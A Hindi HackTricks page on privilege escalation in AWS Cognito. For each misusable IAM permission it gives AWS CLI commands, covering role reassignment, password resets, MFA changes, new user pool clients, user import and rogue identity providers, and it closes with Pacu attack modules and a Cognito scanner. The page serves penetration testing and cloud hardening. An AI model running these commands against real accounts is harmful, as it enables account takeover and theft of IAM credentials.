AWS - Cognito Privesc

Support HackTricks

Cognito

Cognito के बारे में अधिक जानकारी के लिए देखें:

AWS - Cognito Enum

Identity Pool से क्रेडेंशियल इकट्ठा करना

चूंकि Cognito IAM भूमिका क्रेडेंशियल दोनों प्रमाणित और अप्रमाणित उपयोगकर्ताओं को प्रदान कर सकता है, यदि आप किसी एप्लिकेशन का Identity Pool ID ढूंढ लेते हैं (जो कि इसमें हार्डकोडेड होना चाहिए) तो आप नए क्रेडेंशियल प्राप्त कर सकते हैं और इसलिए प्रिवेस्क (एक AWS खाते के अंदर जहां आपके पास पहले कोई क्रेडेंशियल नहीं थे) प्राप्त कर सकते हैं।

अधिक जानकारी के लिए इस पृष्ठ की जांच करें.

संभावित प्रभाव: अप्रमाणित उपयोगकर्ताओं से जुड़े सेवाओं की भूमिका पर सीधे प्रिवेस्क (और संभवतः प्रमाणित उपयोगकर्ताओं से जुड़े एक पर)।

cognito-identity:SetIdentityPoolRoles, iam:PassRole

इस अनुमति के साथ आप प्रमाणित/अप्रमाणित उपयोगकर्ताओं को Cognito ऐप के लिए कोई भी Cognito भूमिका प्रदान कर सकते हैं।

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

यदि cognito ऐप अनधिकृत उपयोगकर्ताओं को सक्षम नहीं करता है, तो आपको इसे सक्षम करने के लिए cognito-identity:UpdateIdentityPool अनुमति की भी आवश्यकता हो सकती है।

संभावित प्रभाव: किसी भी cognito भूमिका के लिए सीधे privesc।

cognito-identity:update-identity-pool

इस अनुमति के साथ एक हमलावर उदाहरण के लिए एक Cognito उपयोगकर्ता पूल सेट कर सकता है जो उसके नियंत्रण में है या किसी अन्य पहचान प्रदाता पर जहां वह इस Cognito पहचान पूल तक पहुँचने के तरीके के रूप में लॉगिन कर सकता है। फिर, बस उस उपयोगकर्ता प्रदाता पर लॉगिन करने से उसे पहचान पूल में कॉन्फ़िगर की गई प्रमाणित भूमिका तक पहुँचने की अनुमति मिलेगी

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

यह अनुमति का दुरुपयोग करके बुनियादी प्रमाणीकरण की अनुमति देना भी संभव है:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

संभावित प्रभाव: पहचान पूल के भीतर कॉन्फ़िगर किए गए प्रमाणित IAM भूमिका का समझौता।

cognito-idp:AdminAddUserToGroup

यह अनुमति एक Cognito उपयोगकर्ता को एक Cognito समूह में जोड़ने की अनुमति देती है, इसलिए एक हमलावर इस अनुमति का दुरुपयोग करके अपने नियंत्रण में एक उपयोगकर्ता को अन्य समूहों में जोड़ सकता है जिनके पास बेहतर विशेषताएँ या विभिन्न IAM भूमिकाएँ हैं:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

संभावित प्रभाव: अन्य Cognito समूहों और User Pool Groups से जुड़े IAM भूमिकाओं के लिए प्रिवेस्क।

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

इन अनुमतियों के साथ एक हमलावर समूहों को बना/अपडेट कर सकता है हर IAM भूमिका के साथ जिसे एक समझौता किए गए Cognito पहचान प्रदाता द्वारा उपयोग किया जा सकता है और एक समझौता किए गए उपयोगकर्ता को समूह का हिस्सा बना सकता है, उन सभी भूमिकाओं तक पहुंच प्राप्त कर सकता है:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

संभावित प्रभाव: अन्य Cognito IAM भूमिकाओं के लिए प्रिवेस्क।

cognito-idp:AdminConfirmSignUp

यह अनुमति साइनअप की पुष्टि करने की अनुमति देती है। डिफ़ॉल्ट रूप से कोई भी Cognito अनुप्रयोगों में साइन इन कर सकता है, यदि इसे छोड़ दिया जाए, तो एक उपयोगकर्ता किसी भी डेटा के साथ एक खाता बना सकता है और इस अनुमति के साथ इसकी पुष्टि कर सकता है।

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

संभावित प्रभाव: यदि आप एक नया उपयोगकर्ता पंजीकृत कर सकते हैं तो प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका के लिए अप्रत्यक्ष प्रिवेस्क। किसी भी खाते की पुष्टि करने में सक्षम होने पर अन्य ऐप कार्यक्षमताओं के लिए अप्रत्यक्ष प्रिवेस्क।

cognito-idp:AdminCreateUser

यह अनुमति एक हमलावर को उपयोगकर्ता पूल के अंदर एक नया उपयोगकर्ता बनाने की अनुमति देगी। नया उपयोगकर्ता सक्षम के रूप में बनाया गया है, लेकिन इसे अपना पासवर्ड बदलने की आवश्यकता होगी।

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

संभावित प्रभाव: प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका तक सीधा प्रिवेस्क। किसी भी उपयोगकर्ता को बनाने में सक्षम होने के कारण अन्य ऐप कार्यक्षमताओं के लिए अप्रत्यक्ष प्रिवेस्क।

cognito-idp:AdminEnableUser

यह अनुमति एक बहुत ही सीमांत परिदृश्य में मदद कर सकती है जहां एक हमलावर ने एक अक्षम उपयोगकर्ता के क्रेडेंशियल्स पाए हैं और उसे फिर से सक्षम करने की आवश्यकता है।

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

संभावित प्रभाव: यदि हमलावर के पास एक निष्क्रिय उपयोगकर्ता के लिए क्रेडेंशियल्स हैं, तो प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका और उपयोगकर्ता की अनुमतियों के लिए अप्रत्यक्ष प्रिवेस्क।

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

यह अनुमति विधि ADMIN_USER_PASSWORD_AUTH** के साथ लॉगिन करने की अनुमति देती है। अधिक जानकारी के लिए लिंक का पालन करें।

cognito-idp:AdminSetUserPassword

यह अनुमति एक हमलावर को किसी भी उपयोगकर्ता का पासवर्ड बदलने की अनुमति देगी, जिससे वह किसी भी उपयोगकर्ता (जिसके पास MFA सक्षम नहीं है) का अनुकरण कर सकेगा।

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

संभावित प्रभाव: सीधे प्रिवेस्क किसी भी उपयोगकर्ता के लिए, इसलिए प्रत्येक उपयोगकर्ता के सदस्यता वाले सभी समूहों तक पहुंच और पहचान पूल प्रमाणित IAM भूमिका तक पहुंच।

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: एक हमलावर इस अनुमति का दुरुपयोग करके अपने नियंत्रण में एक मोबाइल फोन को एक उपयोगकर्ता के SMS MFA के रूप में सेट कर सकता है।

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: पिछले वाले के समान, इस अनुमति का उपयोग किसी उपयोगकर्ता की MFA प्राथमिकताओं को सेट करने के लिए किया जा सकता है ताकि MFA सुरक्षा को बायपास किया जा सके।

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: पिछले वाले के समान, यह अनुमति एक उपयोगकर्ता पूल के MFA प्राथमिकताओं को सेट करने के लिए उपयोग की जा सकती है ताकि MFA सुरक्षा को बायपास किया जा सके।

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: यह भी संभव है कि उपयोगकर्ता पूल को MFA नीति को बदलने के लिए अपडेट किया जाए। यहाँ cli देखें

Potential Impact: अप्रत्यक्ष प्रिवेस्क किसी भी उपयोगकर्ता के लिए जिसे हमलावर जानता है कि उसके पास क्रेडेंशियल हैं, यह MFA सुरक्षा को बायपास करने की अनुमति दे सकता है।

cognito-idp:AdminUpdateUserAttributes

इस अनुमति के साथ एक हमलावर किसी उपयोगकर्ता के ईमेल या फोन नंबर या किसी अन्य विशेषता को बदल सकता है जो उसके नियंत्रण में है, ताकि एक अंतर्निहित एप्लिकेशन में अधिक विशेषाधिकार प्राप्त करने का प्रयास किया जा सके। यह एक ईमेल या फोन नंबर को बदलने और इसे सत्यापित के रूप में सेट करने की अनुमति देता है।

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

संभावित प्रभाव: संभावित अप्रत्यक्ष प्रिवेस्क underlying application में जो Cognito User Pool का उपयोग करता है जो उपयोगकर्ता विशेषताओं के आधार पर विशेषाधिकार देता है।

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

इस अनुमति के साथ एक हमलावर एक नया User Pool Client बना सकता है जो पहले से मौजूद pool clients की तुलना में कम प्रतिबंधित है। उदाहरण के लिए, नया क्लाइंट किसी भी प्रकार के तरीके से प्रमाणीकरण की अनुमति दे सकता है, कोई रहस्य नहीं हो सकता, टोकन रद्दीकरण अक्षम हो सकता है, टोकन को लंबे समय तक मान्य रहने की अनुमति दे सकता है...

यदि एक मौजूदा क्लाइंट को संशोधित किया जाता है तो वही किया जा सकता है।

कमांड लाइन (या अपडेट एक) में आप सभी विकल्प देख सकते हैं, इसे चेक करें!

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

संभावित प्रभाव: संभावित अप्रत्यक्ष प्रिवेस्क आईडी पूल अधिकृत उपयोगकर्ता के लिए जो उपयोगकर्ता पूल द्वारा उपयोग किया जाता है, एक नया क्लाइंट बनाकर सुरक्षा उपायों को ढीला करके और एक हमलावर को एक उपयोगकर्ता के साथ लॉगिन करने की अनुमति देकर जो वह बनाने में सक्षम था।

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

एक हमलावर इस अनुमति का दुरुपयोग करके नए उपयोगकर्ताओं के साथ एक csv अपलोड करके उपयोगकर्ताओं को बना सकता है।

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(यदि आप एक नया आयात कार्य बनाते हैं, तो आपको iam passrole अनुमति की भी आवश्यकता हो सकती है, मैंने इसका परीक्षण नहीं किया है)।

संभावित प्रभाव: प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका तक सीधा प्रिवेस्क। किसी भी उपयोगकर्ता को बनाने की क्षमता के साथ अन्य ऐप कार्यक्षमताओं तक अप्रत्यक्ष प्रिवेस्क।

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

एक हमलावर एक नया पहचान प्रदाता बना सकता है ताकि वह इस प्रदाता के माध्यम से लॉगिन कर सके

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

संभावित प्रभाव: प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका में सीधे प्रिवेस्क। किसी भी उपयोगकर्ता को बनाने में सक्षम होने के कारण अन्य ऐप कार्यक्षमताओं के लिए अप्रत्यक्ष प्रिवेस्क।

cognito-sync:* विश्लेषण

यह पहचान पूल के भूमिकाओं में डिफ़ॉल्ट रूप से एक बहुत सामान्य अनुमति है। भले ही अनुमतियों में वाइल्डकार्ड हमेशा बुरा लगता है (विशेष रूप से AWS से आने पर), दी गई अनुमतियाँ हमलावर के दृष्टिकोण से सुपर उपयोगी नहीं हैं

यह अनुमति पहचान पूल और पहचान आईडी के भीतर उपयोग जानकारी पढ़ने की अनुमति देती है (जो संवेदनशील जानकारी नहीं है)। पहचान आईडी में डेटासेट्स असाइन किए जा सकते हैं, जो सत्रों की जानकारी होती है (AWS इसे सहेजी गई खेल के रूप में परिभाषित करता है)। यह संभव है कि इसमें कुछ प्रकार की संवेदनशील जानकारी हो (लेकिन संभावना काफी कम है)। आप इस जानकारी तक पहुँचने के लिए गणना पृष्ठ में देख सकते हैं।

एक हमलावर इन अनुमतियों का उपयोग करके इन डेटासेट्स पर परिवर्तन प्रकाशित करने वाले एक Cognito स्ट्रीम में खुद को नामांकित कर सकता है या cognito घटनाओं पर ट्रिगर होने वाले एक लैम्ब्डा का उपयोग कर सकता है। मैंने इसे उपयोग में नहीं देखा है, और मैं यहाँ संवेदनशील जानकारी की अपेक्षा नहीं करूंगा, लेकिन यह असंभव नहीं है।

स्वचालित उपकरण

  • Pacu, AWS शोषण ढांचा, अब "cognito__enum" और "cognito__attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की गणना को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, उपयोगकर्ता विशेषताएँ जो पहुँच नियंत्रण के लिए उपयोग की जाती हैं, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और संशोधित कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, आईडी टोकन में असुमेबल भूमिकाओं के आधार पर प्रिवेस्क को भी स्वचालित करता है।

मॉड्यूल के कार्यों का विवरण देखने के लिए ब्लॉग पोस्ट के भाग 2 को देखें। स्थापना निर्देशों के लिए मुख्य Pacu पृष्ठ देखें।

उपयोग

एक दिए गए पहचान पूल और उपयोगकर्ता पूल क्लाइंट के खिलाफ उपयोगकर्ता निर्माण और सभी प्रिवेस्क वेक्टरों का प्रयास करने के लिए नमूना cognito__attack उपयोग:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

सैंपल cognito__enum का उपयोग वर्तमान AWS खाते में दृश्य सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ता आदि एकत्र करने के लिए:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner एक CLI टूल है जो पायथन में लिखा गया है और यह Cognito पर विभिन्न हमलों को लागू करता है जिसमें privesc escalation शामिल है।

Installation

$ pip install cognito-scanner

उपयोग

$ cognito-scanner --help

For more information check https://github.com/padok-team/cognito-scanner

Support HackTricks

Last updated